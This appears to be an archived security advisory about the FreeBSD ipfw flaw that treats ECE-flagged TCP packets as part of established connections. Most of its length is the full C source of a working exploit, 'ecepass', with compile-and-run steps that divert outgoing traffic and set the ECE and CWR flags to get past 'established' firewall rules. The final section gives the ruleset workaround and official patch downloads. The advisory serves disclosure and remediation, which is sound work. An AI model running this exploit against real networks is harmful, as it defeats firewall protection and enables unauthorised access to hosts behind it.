COMMAND

    ipfw

SYSTEMS AFFECTED

    FreeBSD

PROBLEM

    Roelof  Temmingh  posted  following  (Code  written  by Plathond).
    Original problem found  by Aragon Gouveia.   Using FreeBSD  divert
    rule, all outgoing traffic (or as specified in ipfw rule) will  be
    diverted to  the ecepass  process -  the ECE  flag will  be added.
    Traffic  directed  to  hosts  behind  ipfw-based  firewall will be
    passed, rendering  the firewall  useless if  it makes  use of  the
    "allow all from any to any established" rule.  Tried & tested...

    ipfw  is  a  system  facility  which  allows  IP packet filtering,
    redirecting, and traffic accounting.   ip6fw is the  corresponding
    utility for IPv6 networks, included in FreeBSD 4.0 and above.   It
    is based on an  old version of ipfw  and does not contain  as many
    features.

    Due to overloading of the TCP reserved flags field, ipfw and ip6fw
    incorrectly treat all TCP packets  with the ECE flag set  as being
    part of an established TCP connection, which will therefore  match
    a corresponding ipfw rule containing the 'established'  qualifier,
    even if the packet is not part of an established connection.

    The ECE flag is not believed  to be in common use on  the Internet
    at present, but  is part of  an experimental extension  to TCP for
    congestion  notification.   At  least  one  other  major operating
    system will emit TCP packets  with the ECE flag set  under certain
    operating conditions.

    Only systems which  have enabled ipfw  or ip6fw and  use a ruleset
    containing  TCP  rules  which   make  use  of  the   'established'
    qualifier, such as  "allow tcp from  any to any  established", are
    vulnerable.  The exact impact of the vulnerability on such systems
    is undetermined and depends on the exact ruleset in use.

    How to use?
    1. Make sure your kernel is compiled with the following options:

        options         IPDIVERT
        options         IPFIREWALL

    2. gcc -o ecepass ecepass.c
    3. ./ecepass &
    4. ipfw add 5 divert 7000 tcp from any to any
    5. All TCP traffic will now have the ECE flag added to it.

    Obviously you need to  make sure that the  last ipfw rule   allows
    traffic e.g.:

        00001 divert 7000 tcp from any to any
        65535 allow ip from any to any

    As the exploit uses "ipfw divert" it only works on FreeBSD.

    /*
     * FreeBSD ipfw + TCP ECE flag exploit.
     * Plathond for Sensepost 2001/01/25
     */

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/time.h>

    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <machine/in_cksum.h>
    #include <netinet/tcp.h>
    #include <netinet/udp.h>
    #include <netinet/ip_icmp.h>
    #include <sys/ioctl.h>
    #include <net/if.h>
    #include <net/route.h>
    #include <arpa/inet.h>

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/time.h>

    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <machine/in_cksum.h>
    #include <netinet/tcp.h>
    #include <netinet/udp.h>
    #include <netinet/ip_icmp.h>
    #include <sys/ioctl.h>
    #include <net/if.h>
    #include <net/route.h>
    #include <arpa/inet.h>

    #include <alias.h>
    #include <ctype.h>
    #include <err.h>
    #include <errno.h>
    #include <netdb.h>
    #include <signal.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <syslog.h>
    #include <unistd.h>
    #include <ctype.h>
    #include <err.h>
    #include <errno.h>
    #include <netdb.h>
    #include <signal.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <syslog.h>
    #include <unistd.h>

    #define DIVERT_PORT 7000
    #define FALSE 0
    #define TRUE  1

    #define CKSUM_CARRY(x) \
        (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff))

    typedef unsigned char Boolean;

    static unsigned char pbuf[IP_MAXPACKET];
    static unsigned long plen = 0;
    static int psock = -1;
    static struct sockaddr_in paddr;

    /*
     * These are stolen from libnet.
     */
    int in_cksum(u_short *addr, int len)
    {
      int sum;
      int nleft;
      u_short ans;
      u_short *w;

      sum = 0;
      ans = 0;
      nleft = len;
      w = addr;

      while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
      }
      if (nleft == 1) {
        *(u_char *)(&ans) = *(u_char *)w;
        sum += ans;
      }
      return (sum);
    }

    void do_cksum(unsigned char *buf, int protocol, int len)
    {
      struct ip *ip;
      unsigned long ip_hl = 0;
      unsigned long sum = 0;

      ip = (struct ip *)buf;
      ip_hl = ip->ip_hl << 2;

      switch(protocol) {
        case IPPROTO_TCP: {
          struct tcphdr *tcp;

          tcp = (struct tcphdr *)(buf + ip_hl);
          tcp->th_sum = 0;
          sum = in_cksum((u_short *)&(ip->ip_src), 8);
          sum += ntohs(IPPROTO_TCP + len);
          sum += in_cksum((u_short *)tcp, len);
          tcp->th_sum = CKSUM_CARRY(sum);
          break;
        }
        default:
          return;
      }
      return;
    }

    void flushpacket(int fd)
    {
      int nR;

      nR = sendto(fd,
                  pbuf,
                  plen,
                  0,
                  (struct sockaddr*) &paddr,
                  sizeof(paddr));

      if (nR != plen) {
        if (errno == ENOBUFS)
          return;
        if (errno == EMSGSIZE) {
          fprintf(stderr, "Need to implement frag.\n");
          return;
        }
        else {
          fprintf(stderr, "Failed to write packet.\n");
          return;
        }
      }

      psock = -1;
    }

    void handle_input(int sock)
    {
      int nR = 0;
      int addrsize = 0;
      struct ip *ip;
      Boolean fIsOutput = FALSE;
      unsigned int ip_hl = 0, tcp_hl = 0;
      unsigned int ip_data_len = 0;
      struct tcphdr *tcp = NULL;


      addrsize = sizeof(struct sockaddr_in);
      nR = recvfrom(sock,
                    pbuf, sizeof(pbuf), 0,
                    (struct sockaddr *)&paddr,
                    &addrsize);
      if (nR == -1) {
        if (errno != EINTR)
          fprintf(stderr, "Warning : recvfrom() failed.\n");
        goto over;
      }
      ip = (struct ip *)pbuf;
      ip_hl = ip->ip_hl << 2;

      /* Check if this is input or output */
      if (paddr.sin_addr.s_addr == INADDR_ANY)
        fIsOutput = TRUE;
      else
        fIsOutput = FALSE;

      /* We are only handling TCP packets */
      if (ip->ip_p != IPPROTO_TCP)
        goto over;

      /* Get the TCP header */
      tcp = (struct tcphdr *) (pbuf + ip_hl);
      tcp_hl = tcp->th_off << 2;
      ip_data_len = ntohs(ip->ip_len) - ip_hl;
      /* Sanity check packet length */
      if (ip_data_len <= 0)
        goto over;

      /* Add ECE and CWR flags to TCP header */
      tcp->th_flags |= (0x40 | 0x80);
      /* Compute new checksum */
      do_cksum(pbuf, IPPROTO_TCP, ip_data_len);


      /* Write packet back */
      plen = nR;
      psock = sock;
      flushpacket(sock);

      over:
      return;
    }

    int main(int argc, char **argv)
    {
      int inoutsock = -1;
      fd_set rfs, wfs;
      int fdmax = -1;
      struct sockaddr_in addr;
      int rc;

      /* Create divert sockets */
      if ((inoutsock = socket(PF_INET, SOCK_RAW, IPPROTO_DIVERT)) == -1) {
        fprintf(stderr, "socket() failed, exiting\n");
        exit(1);
      }
      /* Bind socket */
      addr.sin_family		= AF_INET;
      addr.sin_addr.s_addr	= INADDR_ANY;
      addr.sin_port		= ntohs(DIVERT_PORT);

      if (bind(inoutsock,
               (struct sockaddr*) &addr,
               sizeof(struct sockaddr_in)) == -1) {
        fprintf(stderr, "Unable to bind socket, exiting\n");
        exit(1);
      }

      while (1) {
        FD_ZERO(&rfs);
        FD_ZERO(&wfs);

        if (psock != -1)
          FD_SET(psock, &wfs);
        FD_SET(inoutsock, &rfs);

        if (inoutsock > psock)
          fdmax = inoutsock;
        else
          fdmax = psock;

        /* Select loop */
        rc = select(fdmax + 1, &rfs, &wfs, NULL, NULL);
        if (rc == -1) {
          if (errno == EINTR)
            continue;
          fprintf(stderr, "select() failed, exiting\n");
          exit(1);
        }
        /* Check for flush from previous packet */
        if (psock != -1) {
          if (FD_ISSET(psock, &wfs))
            flushpacket(psock);
        }
        /* Do we have input available ? */
        if (FD_ISSET(inoutsock, &rfs)) {
          /* Yip, handle it */
          handle_input(inoutsock);
        }
      }
    }

    /* spidermark sensepostdata ece*/

SOLUTION

    Because  the  vulnerability  only  affects 'established' rules and
    ECE-flagged  TCP  packets,  this  vulnerability  can be removed by
    adjusting the system's  rulesets.  In  general, it is  possible to
    express most 'established'  rules in terms  of a general  TCP rule
    (with no  TCP flag  qualifications) and  a 'setup'  rule, but  may
    require some restructuring and renumbering of the ruleset.

    Unfortunately, the security fix was accidentally reverted during a
    merge of ipfw  changes from FreeBSD  5.0-CURRENT.  The  regression
    existed between the following dates:

        Problem introduced: Thu, 1 Feb 2001 12:25:10 -0800 (PST)
        Problem fixed:      Sat, 3 Feb 2001 21:49:00 -0800 (PST)

    The   affected   revision   was   CVS   revision   1.131.2.13   of
    /usr/src/sys/netinet/ip_fw.c  and  the   corrrected  revision   is
    1.131.2.14.   Note   that  revisions  prior   to  1.131.2.11   are
    vulnerable to  the problem  described in  this advisory.   Version
    1.131.2.11, and  prior versions  patched using  the original patch
    distributed with the advisory are not vulnerable to the problem.

    To  verify  the  CVS  revision  of  your ip_fw.c file, perform the
    following command:

        mollari# ident /usr/src/sys/netinet/ip_fw.c
        /usr/src/sys/netinet/ip_fw.c:
	        $FreeBSD: src/sys/netinet/ip_fw.c,v 1.131.2.14 2001/02/04 05:48:59 rwatson Exp $

    If you have revision  1.131.2.13, download the "regression"  patch
    below.   Patch  your  present  system  by downloading the relevant
    patch from the below location:

        [FreeBSD 4.x - patch for regression introduced on 2001-02-01]
        # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:08/ipfw-4.2-regression.patch
        # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:08/ipfw-4.2-regression.patch.asc
        
        [FreeBSD 4.x]
        # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:08/ipfw-4.x.patch
        # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:08/ipfw-4.x.patch.asc
        
        [FreeBSD 3.x]
        # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:08/ipfw-3.x.patch
        # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:08/ipfw-3.x.patch.asc